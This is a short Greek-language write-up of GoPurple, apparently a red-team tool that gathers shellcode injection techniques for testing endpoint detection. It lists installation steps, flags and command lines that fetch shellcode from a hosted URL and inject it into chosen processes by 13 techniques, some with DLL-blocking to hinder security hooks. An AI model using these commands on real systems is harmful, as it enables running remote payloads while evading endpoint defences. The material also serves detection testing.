GoPurple: Τεχνικές shell code injection

Το GoPurple είναι μια απλή συλλογή διαφόρων shell code injection τεχνικών, με στόχο τον εξορθολογισμό της διαδικασίας αξιολόγησης για την ανίχνευση του end point, αλλά και μια πρόκληση για να μπείτε στον κόσμο του Golang.

Εγκατάσταση

git clone https://github.com/sh4hin/GoPurple.git

cd GoPurple

go build gopurple.go

Χρήση

-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreatetThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWaitpool
13: BananaPhone
-u string
URL hosting the shellcode

Οδηγός

1 – gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)

2 – gopurple.exe -u urlhostingpayload -t 2 (Syscall)

3 – gopurple.exe -u urlhostingpayload -t 3 (CreatetThreadNative)

4 – gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)

5 – gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)

6 – gopurple.exe -u urlhostingpayload -t 6 -p tagetprocess (CreateRemoteThread)

7 – gopurple.exe -u urlhostingpayload -t 7 -p tagetprocess (RtlCreateUserThread)

8 – gopurple.exe -u urlhostingpayload -t 8 //(CreateThread)

9 – gopurple.exe -u urlhostingpayload -t 9 -p tagetprocess (CreateRemoteThreadNative)

10 – gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)

11 – gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)

nonms = only DLLs that are signed by Microsoft can hook into the process

onlystore = only Microsoft store application’s process can hook into the process

12 – gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWaitpool)

13 – gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)

Στιγμιότυπα εφαρμογής

Μπορείτε να κατεβάσετε το πρόγραμμα από εδώ.